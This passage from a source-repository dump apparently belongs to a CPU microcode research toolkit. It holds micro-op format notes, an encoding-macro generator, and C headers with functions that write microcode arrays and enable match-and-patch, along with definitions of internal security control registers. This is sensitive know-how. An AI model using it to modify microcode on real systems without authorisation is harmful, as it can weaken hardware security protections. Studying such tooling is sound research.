operations below. For up1 and up2, the value 3 specifies NOP 78 | 79 | * 0 eflow 80 | | A 4-bit enum which specifies which eflow operation to run. 81 | | The operation is run after the uop pointed to by up0 has been run. 82 | 83 | * 0. NOP 84 | * 2. URET0 85 | * 3. URET1 86 | * 4. SAVEUIP0 87 | * 5. SAVEUIP1 88 | * 6. SAVEUIP0_REGOVR 89 | * 7. SAVEUIP1_REGOVR 90 | * 8. WRTAGW 91 | * 9. MSLOOP 92 | * b. MSSTOP 93 | * c. UEND0 94 | * d. UEND1 95 | * e. UEND2 96 | * f. UEND3 97 | 98 | * 1 uaddr 99 | | Address to jump to after uop pointed to by up1 has been run. If up1=3, this is ignored. 100 | | This is always run after eflow if up0=up1. 101 | | This is turned into a conditional jump if preceded by ``TESTUSTATE`` or ``SUBR``. 102 | 103 | * 2 sync 104 | | A 3-bit enum that specifies synchronization of the operation. For example load fences and synchronization barriers. 105 | | Synchronization is performed on the uop pointed by up2 and ignored if up2=3. 106 | 107 | * 1. LFNCEWAIT 108 | * 2. LFNCEMARK 109 | * 3. LFNCEWTMRK 110 | * 4. SYNCFULL 111 | * 5. SYNCWAIT 112 | * 6. SYNCMARK 113 | * 7. SYNCWTMRK 114 | * crc 115 | 2-bit crc. The first bit is the xor of all even-indexed bits. The second bit is the xor of all odd-indexed bits. 116 | -------------------------------------------------------------------------------- /include/dump.h: -------------------------------------------------------------------------------- 1 | #ifndef DUMP_H_ 2 | #define DUMP_H_ 3 | #include "misc.h" 4 | 5 | void ms_array_dump(u64 array_sel, u64 fast_addr, u64 size); 6 | void ms_ro_code_dump(void); 7 | void ms_ro_seqw_dump(void); 8 | void ms_rw_seqw_dump(void); 9 | void ms_match_n_patch_dump(void); 10 | void ms_rw_code_dump(void); 11 | void uram_dump(void); 12 | void crbus_dump(void); 13 | 14 | #endif // DUMP_H_ 15 | -------------------------------------------------------------------------------- /include/gen_inst.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | 4 | print("/* generated by gen_inst.py */\n") 5 | 6 | argdefs = { 7 | 'I0': '#define INSTRNAME_I(imm) ( _INSTRNAME | INSTR_I0(imm)APPEND )', 8 | 'I1': '#define INSTRNAME_I(imm) ( _INSTRNAME | INSTR_I1(imm)APPEND )', 9 | 'R0': '#define INSTRNAME_R(src) ( _INSTRNAME | INSTR_R0(src)APPEND )', 10 | 'R1': '#define INSTRNAME_R(src) ( _INSTRNAME | INSTR_R1(src)APPEND )', 11 | 'M0': '#define INSTRNAME_M(macro) ( _INSTRNAME | INSTR_M0(macro)APPEND )', 12 | 'M1': '#define INSTRNAME_M(macro) ( _INSTRNAME | INSTR_M1(macro)APPEND )', 13 | 'DI0': '#define INSTRNAME_DI(dst, imm) ( _INSTRNAME | INSTR_DI0(dst, imm)APPEND )', 14 | 'DI1': '#define INSTRNAME_DI(dst, imm) ( _INSTRNAME | INSTR_DI1(dst, imm)APPEND )', 15 | 'DR0': '#define INSTRNAME_DR(dst, src) ( _INSTRNAME | INSTR_DR0(dst, src)APPEND )', 16 | 'DR1': '#define INSTRNAME_DR(dst, src) ( _INSTRNAME | INSTR_DR1(dst, src)APPEND )', 17 | 'DM0': '#define INSTRNAME_DM(dst, macro) ( _INSTRNAME | INSTR_DM0(dst, macro)APPEND )', 18 | 'DM1': '#define INSTRNAME_DM(dst, macro) ( _INSTRNAME | INSTR_DM1(dst, macro)APPEND )', 19 | 'RI': '#define INSTRNAME_RI(src, imm) ( _INSTRNAME | INSTR_RI(src, imm)APPEND )', 20 | 'IR': '#define INSTRNAME_IR(imm, src) ( _INSTRNAME | INSTR_IR(imm, src)APPEND )', 21 | 'RM': '#define INSTRNAME_RM(src, macro) ( _INSTRNAME | INSTR_RM(src, macro)APPEND )', 22 | 'MR': '#define INSTRNAME_MR(macro, src) ( _INSTRNAME | INSTR_MR(macro, src)APPEND )', 23 | 'RR': '#define INSTRNAME_RR(src0, src1) ( _INSTRNAME | INSTR_RR(src0, src1)APPEND )', 24 | 'DRI': '#define INSTRNAME_DRI(dst, src, imm) ( _INSTRNAME | INSTR_DRI(dst, src, imm)APPEND )', 25 | 'DIR': '#define INSTRNAME_DIR(dst, imm, src) ( _INSTRNAME | INSTR_DIR(dst, imm, src)APPEND )', 26 | 'DRM': '#define INSTRNAME_DRM(dst, src, macro) ( _INSTRNAME | INSTR_DRM(dst, src, macro)APPEND )', 27 | 'DMR': '#define INSTRNAME_DMR(dst, macro, src) ( _INSTRNAME | INSTR_DMR(dst, macro, src)APPEND )', 28 | 'DRR': '#define INSTRNAME_DRR(dst, src0, src1) ( _INSTRNAME | INSTR_DRR(dst, src0, src1)APPEND )', 29 | 30 | 'MEM_DR': '#define INSTRNAME_DR(dst, base_reg, seg) ( _INSTRNAME | MEMOP_ENCODE(dst, base_reg, 0, 0, seg) )', 31 | 'MEM_DRR': '#define INSTRNAME_DRR(dst, base_reg, index_reg, seg) ( _INSTRNAME | MEMOP_ENCODE(dst, base_reg, index_reg, 0, seg) )', 32 | 'MEM_DRI': '#define INSTRNAME_DRI(dst, base_reg, offset, seg) ( _INSTRNAME | MEMOP_ENCODE(dst, base_reg, 0, offset, seg) )', 33 | 'MEM_DRRI': '#define INSTRNAME_DRRI(dst, base_reg, index_reg, offset, seg) ( _INSTRNAME | MEMOP_ENCODE(dst, base_reg, index_reg, offset, seg) )', 34 | 'MEM_RR': '#define INSTRNAME_RR(src, base_reg, seg) ( _INSTRNAME | MEMOP_ENCODE(src, base_reg, 0, 0, seg) )', 35 | 'MEM_RRR': '#define INSTRNAME_RRR(src, base_reg, index_reg, seg) ( _INSTRNAME | MEMOP_ENCODE(src, base_reg, index_reg, 0, seg) )', 36 | 'MEM_RRI': '#define INSTRNAME_RRI(src, base_reg, offset, seg) ( _INSTRNAME | MEMOP_ENCODE(src, base_reg, 0, offset, seg) )', 37 | 'MEM_RRRI': '#define INSTRNAME_RRRI(src, base_reg, index_reg, offset, seg) ( _INSTRNAME | MEMOP_ENCODE(src, base_reg, index_reg, offset, seg) )', 38 | } 39 | 40 | dsizes = ['DSZ8', 'DSZ16', 'DSZ32', 'DSZ64'] 41 | asizes = ['ASZ64', 'ASZ32', 'ASZ16'] 42 | scales = ['SC1', 'SC4', 'SC8'] 43 | conditions = ["CONDO", "CONDNO", "CONDB", "CONDNB", "CONDZ", "CONDNZ", "CONDBE", "CONDNBE", "CONDS", "CONDNS", "CONDP", "CONDNP", "CONDL", "CONDNL", "CONDLE", "CONDNLE"] 44 | 45 | instructions = [ 46 | { 47 | 'name': 'UJMP', 48 | 'args': ['I1', 'R1'], 49 | }, 50 | { 51 | 'name': 'MOVE', 52 | 'dsz': True, 53 | 'args': ['DR0', 'DI0', 'DM0'], 54 | }, 55 | { 56 | 'name': 'ZEROEXT', 57 | 'dsz': True, 58 | 'args': ['DR0', 'DI0', 'DM0', 'DRR', 'DIR', 'DMR'], 59 | }, 60 | { 61 | 'name': 'MOVETOCREG', 62 | 'dsz': True, 63 | 'append': 'MOD2', 64 | 'args': ['RI', 'RR'], 65 | }, 66 | { 67 | 'name': 'MOVEFROMCREG', 68 | 'dsz': True, 69 | 'append': 'MOD2', 70 | 'args': ['DI1', 'DR1'], 71 | }, 72 | { 73 | 'name': 'WRITEURAM', 74 | 'append': 'MOD2', 75 | 'args': ['RI', 'RR'], 76 | }, 77 | { 78 | 'name': 'READURAM', 79 | 'append': 'MOD2', 80 | 'args': ['DI1', 'DR1'], 81 | }, 82 | { 83 | 'name': 'MSR2CR', 84 | 'args': ['DR1', 'DI1'], 85 | }, 86 | { 87 | 'name': 'WRMSLOOPCTRFBR', 88 | 'args': ['I1'], 89 | }, 90 | { 91 | 'name': 'GENARITHFLAGS', 92 | 'append': 'MOD2', 93 | 'args': ['R0', 'RR', 'IR'], 94 | }, 95 | { 96 | 'name': 'SIGEVENT', 97 | 'args': ['I1', 'RI', 'DI1', 'DRI', 'IR', 'DIR'], 98 | }, 99 | { 100 | 'name': 'READAFLAGS', 101 | 'append': 'MOD2', 102 | 'args': ['DR1'], 103 | }, 104 | { 105 | 'name': 'FPREADROM_DTYPENOP', 106 | 'args': ['DR0'], 107 | }, 108 | { 109 | 'name': 'ADD', 110 | 'dsz': True, 111 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 112 | }, 113 | { 114 | 'name': 'OR', 115 | 'dsz': True, 116 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 117 | }, 118 | { 119 | 'name': 'AND', 120 | 'dsz': True, 121 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 122 | }, 123 | { 124 | 'name': 'SUB', 125 | 'dsz': True, 126 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 127 | }, 128 | { 129 | 'name': 'SUBR', 130 | 'dsz': True, 131 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 132 | }, 133 | { 134 | 'name': 'XOR', 135 | 'dsz': True, 136 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 137 | }, 138 | { 139 | 'name': 'NOTAND', 140 | 'dsz': True, 141 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 142 | }, 143 | { 144 | 'name': 'ROL', 145 | 'dsz': True, 146 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 147 | }, 148 | { 149 | 'name': 'ROR', 150 | 'dsz': True, 151 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 152 | }, 153 | { 154 | 'name': 'RAS', 155 | 'dsz': True, 156 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 157 | }, 158 | { 159 | 'name': 'SHL', 160 | 'dsz': True, 161 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 162 | }, 163 | { 164 | 'name': 'SHR', 165 | 'dsz': True, 166 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 167 | }, 168 | { 169 | 'name': 'CONCAT', 170 | 'dsz': True, 171 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 172 | }, 173 | { 174 | 'name': 'MOVEINSERTFLGS', 175 | 'dsz': True, 176 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 177 | }, 178 | { 179 | 'name': 'MOVEMERGEFLGS', 180 | 'dsz': True, 181 | 'args': ['DRI', 'DIR', 'DRM', 'DMR', 'DRR'], 182 | }, 183 | { 184 | 'name': 'UJMPCC_DIRECT_NOTTAKEN', 185 | 'cond': True, 186 | 'args': ['RI', 'RR'], 187 | }, 188 | { 189 | 'name': 'MJMPCC_DSZNOP', 190 | 'cond': True, 191 | 'args': ['RI', 'RR'], 192 | }, 193 | { 194 | 'name': 'SETCC', 195 | 'cond': True, 196 | 'args': ['DR0'], 197 | }, 198 | { 199 | 'name': 'CMOVCC', 200 | 'dsz': True, 201 | 'cond': True, 202 | 'args': ['DRI', 'DRR'], 203 | }, 204 | { 205 | 'name': 'SELECTCC', 206 | 'dsz': True, 207 | 'cond': True, 208 | 'args': ['DRI', 'DRR'], 209 | }, 210 | { 211 | 'name': 'LDZX', 212 | 'dsz': True, 213 | 'asz': True, 214 | 'sc': True, 215 | 'args': ['MEM_DR', 'MEM_DRR', 'MEM_DRI', 'MEM_DRRI'], 216 | }, 217 | { 218 | 'name': 'STAD', 219 | 'dsz': True, 220 | 'asz': True, 221 | 'sc': True, 222 | 'args': ['MEM_RR', 'MEM_RRR', 'MEM_RRI', 'MEM_RRRI'], 223 | }, 224 | { 225 | 'name': 'SIMDLD', 226 | 'suffix': 'DSZ64_ASZ32_SC1', 227 | 'args': ['MEM_DR', 'MEM_DRR', 'MEM_DRI', 'MEM_DRRI'], 228 | }, 229 | { 230 | 'name': 'SIMDSTA', 231 | 'suffix': 'DSZ64_ASZ32_SC1', 232 | 'args': ['MEM_RR', 'MEM_RRR', 'MEM_RRI', 'MEM_RRRI'], 233 | }, 234 | { 235 | 'name': 'LEA', 236 | 'dsz': ['DSZ64'], 237 | 'asz': True, 238 | 'sc': True, 239 | 'args': ['MEM_DR', 'MEM_DRR', 'MEM_DRI', 'MEM_DRRI'], 240 | } 241 | ] 242 | 243 | def add_args(inst, name): 244 | if 'suffix' in inst: 245 | name += "_{}".format(inst['suffix']) 246 | for arg in inst['args']: 247 | if arg not in argdefs: 248 | print(f'Invalid arg "{arg}"', file=sys.stderr) 249 | continue 250 | append = '' 251 | if 'append' in inst: 252 | append = ' | ' + inst['append'] 253 | print(argdefs[arg].replace("INSTRNAME", name).replace('APPEND', append)) 254 | 255 | def add_cond(inst, name): 256 | if inst.get('cond'): 257 | for i in conditions: 258 | add_args(inst, name + '_{}'.format(i)) 259 | else: 260 | add_args(inst, name) 261 | 262 | def add_sc(inst, name): 263 | if inst.get('sc'): 264 | l = scales if inst.get('sc') is True else inst.get('sc') 265 | for i in l: 266 | add_cond(inst, name + '_{}'.format(i)) 267 | else: 268 | add_cond(inst, name) 269 | 270 | def add_asz(inst, name): 271 | if inst.get('asz'): 272 | l = asizes if inst.get('asz') is True else inst.get('asz') 273 | for i in l: 274 | add_sc(inst, name + '_{}'.format(i)) 275 | else: 276 | add_sc(inst, name) 277 | 278 | def add_dsz(inst, name): 279 | if inst.get('dsz'): 280 | l = dsizes if inst.get('dsz') is True else inst.get('dsz') 281 | for i in l: 282 | add_asz(inst, name + '_{}'.format(i)) 283 | else: 284 | add_asz(inst, name) 285 | 286 | for inst in instructions: 287 | print("/** \\defgroup", inst['name']) 288 | if inst.get('description'): 289 | print(" * ", inst['description']) 290 | print(" * @{") 291 | print(" */") 292 | add_dsz(inst, inst['name']) 293 | print("/** @} */") 294 | -------------------------------------------------------------------------------- /include/ldat.h: -------------------------------------------------------------------------------- 1 | #ifndef LDAT_H_ 2 | #define LDAT_H_ 3 | #include "misc.h" 4 | #include "udbg.h" 5 | 6 | /** 7 | * Read a single value dircetly from LDAT. 8 | * 9 | * @param pdat_reg: Register index selecting specific device for LDAT to inspect. 10 | * @param array_sel: Array index to read from. 11 | * @param bank_sel: Bank selector. 12 | * @param dword_idx: Double word index within the specified bank. 13 | * @param fast_addr: Address to read from. 14 | * 15 | * @return The vaule reading from LDAT. 16 | */ 17 | extern u64 ldat_array_read(u64 pdat_reg, u64 array_sel, u64 bank_sel, u64 dword_idx, u64 fast_addr); 18 | 19 | /** 20 | * Write a single value dircetly to LDAT. 21 | * 22 | * @param pdat_reg: Register index selecting specific device for LDAT to inspect. 23 | * @param array_sel: Array index to read from. 24 | * @param bank_sel: Bank selector. 25 | * @param dword_idx: Double word index within the specified bank. 26 | * @param fast_addr: Address to read from. 27 | * @param val: Value to write. 28 | */ 29 | void ldat_array_write(u64 pdat_reg, u64 array_sel, u64 bank_sel, u64 dword_idx, u64 fast_addr, u64 val); 30 | 31 | /** 32 | * Write a single value from a microsequencer array. 33 | * 34 | * @param array_sel: The array index to read. 35 | * @param bank_sel: Should be 0 for all ms array read/write operations as only a single bank exists. 36 | * @param dword_idx: Should be 0 for same reasons as bank_sel. 37 | * @param fast_addr: the address to write to. 38 | * @param val: The vaule to write. 39 | */ 40 | void ms_array_write(u64 array_sel, u64 bank_sel, u64 dword_idx, u64 fast_addr, u64 val); 41 | 42 | 43 | /** 44 | * Read a single value from a microsequencer array. 45 | * 46 | * @param array_sel: The array index to read. 47 | * @param bank_sel: Should be 0 for all ms array read/write operations as only a single bank exists. 48 | * @param dword_idx: Should be 0 for same reasons as bank_sel. 49 | * @param fast_addr: The address to read from. 50 | * 51 | * @return A value read from the specified ms_array index and address. 52 | */ 53 | u64 ms_array_read(u64 array_sel, u64 bank_sel, u64 dword_idx, u64 fast_addr); 54 | 55 | //read only: 56 | //array0 = ro code 57 | //array1 = ro sequence word 58 | 59 | //writeable: 60 | //array2 = wr sequence word 61 | //array3 = match and patch 62 | //array4 = rw code 63 | /** 64 | * Read a single value from ms_array 0. 65 | * @param addr: The address to read from. 66 | * 67 | * This function is a wrapper around ms_array_read. 68 | * 69 | * @return The vaule read from microsequencer. 70 | */ 71 | u64 static ms_array_0_read(u64 addr) {return ms_array_read(0, 0, 0, addr); } 72 | 73 | /** 74 | * Read a single value from ms_array 1. 75 | * @param addr: The address to read from. 76 | * 77 | * This function is a wrapper around ms_array_read. 78 | * 79 | * @return The vaule read from microsequencer. 80 | */ 81 | u64 static ms_array_1_read(u64 addr) {return ms_array_read(1, 0, 0, addr); } 82 | 83 | /** 84 | * Read a single value from ms_array 2. 85 | * @param addr: The address to read from. 86 | * 87 | * This function is a wrapper around ms_array_read. 88 | * 89 | * @return The vaule read from microsequencer. 90 | */ 91 | u64 static ms_array_2_read(u64 addr) {return ms_array_read(2, 0, 0, addr); } 92 | 93 | /** 94 | * Read a single value from ms_array 3. 95 | * @param addr: The address to read from. 96 | * 97 | * This function is a wrapper around ms_array_read. 98 | * 99 | * @return The vaule read from microsequencer. 100 | */ 101 | u64 static ms_array_3_read(u64 addr) {return ms_array_read(3, 0, 0, addr); } 102 | 103 | /** 104 | * Read a single value from ms_array 4. 105 | * @param addr: The address to read from. 106 | * 107 | * This function is a wrapper around ms_array_read. 108 | * 109 | * @return The vaule read from microsequencer. 110 | */ 111 | u64 static ms_array_4_read(u64 addr) {return ms_array_read(4, 0, 0, addr); } 112 | 113 | 114 | /** 115 | * Read a single microcode instruction from read only address space. 116 | * @param addr: The address to read from. 117 | * 118 | * This function is a simple alias for ms_array_0_read. 119 | * 120 | * @return The vaule read from microsequencer. 121 | */ 122 | #if __GNUC__ 123 | __attribute__((weak, alias("ms_array_0_read"))) 124 | #endif 125 | u64 ms_ro_code_read(u64 addr); 126 | 127 | /** 128 | * Read a single sequence word from read only address space. 129 | * @param addr: The address to read from. 130 | * 131 | * This function is a simple alias for ms_array_1_read. 132 | * 133 | * @return The vaule read from microsequencer. 134 | */ 135 | #if __GNUC__ 136 | __attribute__((weak, alias("ms_array_1_read"))) 137 | #endif 138 | u64 ms_ro_seq_read(u64 addr); 139 | 140 | /** 141 | * Read a single sequence word from read/write address space. 142 | * @param addr: The address to read from. 143 | * 144 | * This function is a simple alias for ms_array_2_read. 145 | * 146 | * @return The vaule read from microsequencer. 147 | */ 148 | #if __GNUC__ 149 | __attribute__((weak, alias("ms_array_2_read"))) 150 | #endif 151 | u64 ms_rw_seq_read(u64 addr); 152 | 153 | /** 154 | * Read a single sequence word from match and patch. 155 | * @param addr: The address to read from. 156 | * 157 | * This function is a simple alias for ms_array_3_read. 158 | * 159 | * @return The vaule read from microsequencer. 160 | */ 161 | #if __GNUC__ 162 | __attribute__((weak, alias("ms_array_3_read"))) 163 | #endif 164 | u64 ms_match_n_patch_read(u64 addr); 165 | 166 | /** 167 | * Read a single microcode instruction from read/write address space. 168 | * @param addr: The address to read from. 169 | * 170 | * This function is a simple alias for ms_array_4_read. 171 | * 172 | * @return The vaule read from microsequencer. 173 | */ 174 | #if __GNUC__ 175 | __attribute__((weak, alias("ms_array_4_read"))) 176 | #endif 177 | u64 ms_rw_code_read(u64 addr); 178 | 179 | 180 | /** 181 | * write a single microcode instruction to ms_array 2. 182 | * @param addr: The address to write to. 183 | * @param val: microcode instruction to write as a uint64_t. 184 | */ 185 | void static ms_array_2_write(u64 addr, u64 val) {return ms_array_write(2, 0, 0, addr, val); } 186 | 187 | /** 188 | * write a single microcode instruction to ms_array 3. 189 | * @param addr: The address to write to. 190 | * @param val: microcode instruction to write as a uint64_t. 191 | */ 192 | void static ms_array_3_write(u64 addr, u64 val) {return ms_array_write(3, 0, 0, addr, val); } 193 | 194 | /** 195 | * write a single microcode instruction to ms_array 4. 196 | * @param addr: The address to write to. 197 | * @param val: microcode instruction to write as a uint64_t. 198 | */ 199 | void static ms_array_4_write(u64 addr, u64 val) {return ms_array_write(4, 0, 0, addr, val); } 200 | 201 | /** 202 | * write a single sequence word to the read/write address space. 203 | * @param addr: The address to write to. 204 | * @param val: microcode instruction to write as a uint64_t. 205 | * 206 | * This function is a simple alias for ms_array_2_write. 207 | */ 208 | #if __GNUC__ 209 | __attribute__((weak, alias("ms_array_2_write"))) 210 | #endif 211 | void ms_rw_seq_write(u64 addr, u64 val); 212 | 213 | /** 214 | * write a single entry to match and patch. 215 | * @param addr: The address to write to. 216 | * @param val: microcode instruction to write as a uint64_t. 217 | * 218 | * This function is a simple alias for ms_array_3_write. 219 | */ 220 | #if __GNUC__ 221 | __attribute__((weak, alias("ms_array_3_write"))) 222 | #endif 223 | void ms_match_n_patch_write(u64 addr, u64 val); 224 | 225 | /** 226 | * write a single microcode instruction to the read/write address space. 227 | * @param addr: The address to write to. 228 | * @param val: microcode instruction to write as a uint64_t. 229 | * 230 | * This function is a simple alias for ms_array_4_write. 231 | */ 232 | #if __GNUC__ 233 | __attribute__((weak, alias("ms_array_4_write"))) 234 | #endif 235 | void ms_rw_code_write(u64 addr, u64 val); 236 | 237 | /** 238 | * enable match and pach which esetialy enables microcode updates. 239 | */ 240 | 241 | #if __GNUC__ 242 | __attribute__((always_inline)) 243 | #endif 244 | void static inline enable_match_and_patch(void) { 245 | u64 mp = crbus_read(0x692); 246 | crbus_write(0x692, mp & ~1uL); 247 | } 248 | 249 | /** 250 | * disable match and pach which esetialy disables microcode updates. 251 | */ 252 | 253 | #if __GNUC__ 254 | __attribute__((always_inline)) 255 | #endif 256 | void static inline disable_match_and_patch(void) { 257 | u64 mp = crbus_read(0x692); 258 | crbus_write(0x692, mp | 1uL); 259 | } 260 | 261 | #endif // LDAT_H_ 262 | -------------------------------------------------------------------------------- /include/misc.h: -------------------------------------------------------------------------------- 1 | #ifndef MISC_H_ 2 | #define MISC_H_ 3 | #define _GNU_SOURCE 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | typedef uint64_t u64; 13 | typedef uint32_t u32; 14 | typedef uint16_t u16; 15 | typedef uint8_t u8; 16 | typedef int64_t s64; 17 | typedef int32_t s32; 18 | typedef int16_t s16; 19 | typedef int8_t s8; 20 | 21 | typedef __int128 int128_t; 22 | typedef unsigned __int128 uint128_t; 23 | 24 | typedef uint128_t u128; 25 | typedef int128_t s128; 26 | 27 | typedef struct { 28 | u64 rax; 29 | u64 rbx; 30 | u64 rcx; 31 | u64 rdx; 32 | } general_purpose_regs; 33 | 34 | typedef struct { 35 | u64 uop0; 36 | u64 uop1; 37 | u64 uop2; 38 | u64 seqw; 39 | } ucode_t; 40 | 41 | #define ARRAY_SZ(arr) \ 42 | ( sizeof(arr) / sizeof(arr[0]) ) 43 | 44 | #define mfence() asm volatile("mfence\n") 45 | #define lfence() asm volatile("lfence\n") 46 | #define lmfence() asm volatile("lfence\n mfence\n") 47 | #define wbinvd() asm volatile("wbinvd\n") 48 | 49 | __attribute__((always_inline)) 50 | void static inline assign_to_core(int core_id) { 51 | cpu_set_t cpuset; 52 | CPU_ZERO(&cpuset); 53 | CPU_SET(core_id, &cpuset); 54 | if (sched_setaffinity(getpid(), sizeof(cpu_set_t), &cpuset) != 0){ 55 | error(EXIT_FAILURE, -1, "assign to specific core failed."); 56 | } 57 | } 58 | #endif // MISC_H_ 59 | -------------------------------------------------------------------------------- /include/opcode.h: -------------------------------------------------------------------------------- 1 | #ifndef OPCODE_H_ 2 | #define OPCODE_H_ 3 | 4 | // registers 5 | #define RAX 0x20UL 6 | #define RCX 0x21UL 7 | #define RDX 0x22UL 8 | #define RBX 0x23UL 9 | #define RSP 0x24UL 10 | #define RBP 0x25UL 11 | #define RSI 0x26UL 12 | #define RDI 0x27UL 13 | #define R8 0x28UL 14 | #define R9 0x29UL 15 | #define R10 0x2aUL 16 | #define R11 0x2bUL 17 | #define R12 0x2cUL 18 | #define R13 0x2dUL 19 | #define R14 0x2eUL 20 | #define R15 0x2fUL 21 | #define TMP0 0x30UL 22 | #define TMP1 0x31UL 23 | #define TMP2 0x32UL 24 | #define TMP3 0x33UL 25 | #define TMP4 0x34UL 26 | #define TMP5 0x35UL 27 | #define TMP6 0x36UL 28 | #define TMP7 0x37UL 29 | #define TMP8 0x38UL 30 | #define TMP9 0x39UL 31 | #define TMP10 0x3aUL 32 | #define TMP11 0x3bUL 33 | #define TMP12 0x3cUL 34 | #define TMP13 0x3dUL 35 | #define TMP14 0x3eUL 36 | #define TMP15 0x3fUL 37 | #define XMM0 0x20UL 38 | #define XMM1 0x21UL 39 | #define XMM2 0x22UL 40 | #define XMM3 0x23UL 41 | #define XMM4 0x24UL 42 | #define XMM5 0x25UL 43 | #define XMM6 0x26UL 44 | #define XMM7 0x27UL 45 | #define XMM8 0x28UL 46 | #define XMM9 0x29UL 47 | #define XMM10 0x2aUL 48 | #define XMM11 0x2bUL 49 | #define XMM12 0x2cUL 50 | #define XMM13 0x2dUL 51 | #define XMM14 0x2eUL 52 | #define XMM15 0x2fUL 53 | #define MM0 0x30UL 54 | #define MM1 0x31UL 55 | #define MM2 0x32UL 56 | #define MM3 0x33UL 57 | #define MM4 0x34UL 58 | #define MM5 0x35UL 59 | #define MM6 0x36UL 60 | #define MM7 0x37UL 61 | #define TMM0 0x38UL 62 | #define TMM1 0x39UL 63 | #define TMM2 0x3aUL 64 | #define TMM3 0x3bUL 65 | #define TMM4 0x3cUL 66 | #define TMM5 0x3dUL 67 | #define TMM6 0x3eUL 68 | #define TMM7 0x3fUL 69 | #define R64DST 0x01UL 70 | #define R64SRC 0x02UL 71 | #define R64BASE 0x04UL 72 | #define R64IDX 0x05UL 73 | #define TMPV0 0x14UL 74 | #define TMPV1 0x15UL 75 | #define TMPV2 0x16UL 76 | #define TMPV3 0x17UL 77 | 78 | // control registers 79 | #define CORE_CR_CUR_RIP 0x67UL 80 | #define CORE_CR_CUR_UIP 0x68UL 81 | #define UCODE_CR_SE_SVN_KEY_0 0x205UL 82 | #define UCODE_CR_SE_SVN_KEY_1 0x206UL 83 | #define CTAP_CR_PPPE_TAP_STATUS 0x208UL 84 | #define CTAP_CR_TAP_CONFIG 0x285UL 85 | #define UCODE_CR_X2APIC_TPR 0x288UL 86 | #define UCODE_CR_X2APIC_EOI 0x28bUL 87 | #define UCODE_CR_PPPE_EVENT_RESET 0x29eUL 88 | #define UCODE_CR_PPPE_EVENT_STATUS 0x29fUL 89 | #define CTAP_CR_PDR_T0_LOW 0x2c0UL 90 | #define CTAP_CR_PDR_T0_HIGH 0x2c1UL 91 | #define ML3_CR_PIC_GLOBAL_EVENT_INHIBIT 0x2c4UL 92 | #define CTAP_CR_PROBE_MODE 0x2cdUL 93 | #define X86_CR_THREAD_ID 0x2b9UL 94 | #define ROB1_CR_ICECTLPMR 0x2dfUL 95 | #define ML3_CR_PIC_DEBUG_MODES 0x2e6UL 96 | #define PMH_CR_BRAM_BASE 0x51bUL 97 | #define PMH_CR_CR3 0x529UL 98 | #define PMH_CR_ELSRR_BASE 0x555UL 99 | #define PMH_CR_ELSRR_MASK 0x556UL 100 | #define PMH_CR_EPCM_BASE 0x557UL 101 | #define PMH_CR_EMRR_BASE 0x562UL 102 | #define PMH_CR_EMRR_MASK 0x563UL 103 | #define PMH_CR_EMXRR_BASE 0x564UL 104 | #define PMH_CR_EMXRR_MASK 0x565UL 105 | #define PMH_CR_SMRR_BASE 0x572UL 106 | #define PMH_CR_SMRR_MASK 0x573UL 107 | #define PMH_CR_PRMRR_BASE 0x574UL 108 | #define PMH_CR_PRMRR_MASK 0x575UL 109 | #define MS_CR_DEBUG_DEFEATURE 0x692UL 110 | #define XU_CR_MACROINSTRUCTION_ALIAS 0x752UL 111 | #define CORE_CR_CR4 0x7c5UL 112 | #define BAC_CR_CS_BASE 0x78eUL 113 | #define UCODE_CR_XU_USTATE_CTRL 0x7c6UL 114 | #define CORE_CR_CR0 0x7f6UL 115 | #define CORE_CR_DEBUGCTL 0x7f9UL 116 | #define CORE_CR_EFLAGS 0x7feUL 117 | 118 | // macro imms 119 | #define IMM_MACRO_ALIAS_DISPLACEMENT 0x00UL 120 | #define IMM_MACRO_ALIAS_IMMEDIATE 0x00UL 121 | #define IMM_MACRO_ALIAS_RIP 0x04UL 122 | #define IMM_MACRO_ALIAS_STI 0x05UL 123 | #define IMM_MACRO_ALIAS_MSLOOPCTR 0x08UL 124 | #define IMM_MACRO_ALIAS_DATASIZE 0x0bUL 125 | #define IMM_MACRO_ALIAS_INSTRUCTION 0x10UL 126 | 127 | // ustate UCODE 128 | #define UST_MSLOOPCTR_NONZERO 0x0001UL 129 | #define UST_SMM 0x0800UL 130 | 131 | // ustate SYS 132 | #define UST_VMX_DIS 0x0001UL 133 | #define UST_USER_MODE 0x0002UL 134 | #define UST_8086_MODE 0x0004UL 135 | #define UST_OP_SIZE_32BIT 0x0008UL 136 | #define UST_ADDR_SIZE_64BIT 0x0010UL 137 | #define UST_XUCODE 0x0020UL 138 | #define UST_SE_INIT_DONE 0x0040UL 139 | #define UST_VMX_GUEST 0x0080UL 140 | #define UST_VMX_OP_DIS 0x0100UL 141 | 142 | // Segment selectors 143 | #define SEG_PHYS 0x01UL 144 | #define SEG_GDT 0x06UL 145 | #define SEG_LDT 0x07UL 146 | #define SEG_ES 0x08UL 147 | #define SEG_CS 0x09UL 148 | #define SEG_FS 0x0cUL 149 | #define SEG_GS 0x0dUL 150 | #define SEG_IDT 0x0eUL 151 | #define SEG_TSS 0x0fUL 152 | #define SEG_DS 0x18UL 153 | #define SEG_SS 0x1aUL 154 | 155 | // Segment descriptor fields 156 | #define FLD_LIMIT_VAL 0x0UL 157 | #define FLD_BASE 0x2UL 158 | #define FLD_FLGS 0x4UL 159 | #define FLD_LIMIT 0x6UL 160 | #define FLD_SEL 0x8UL 161 | #define FLD_SEL_FLGS_LIM 0xaUL 162 | 163 | // opcode parts 164 | #define _CONDO 0x000UL 165 | #define _CONDNO 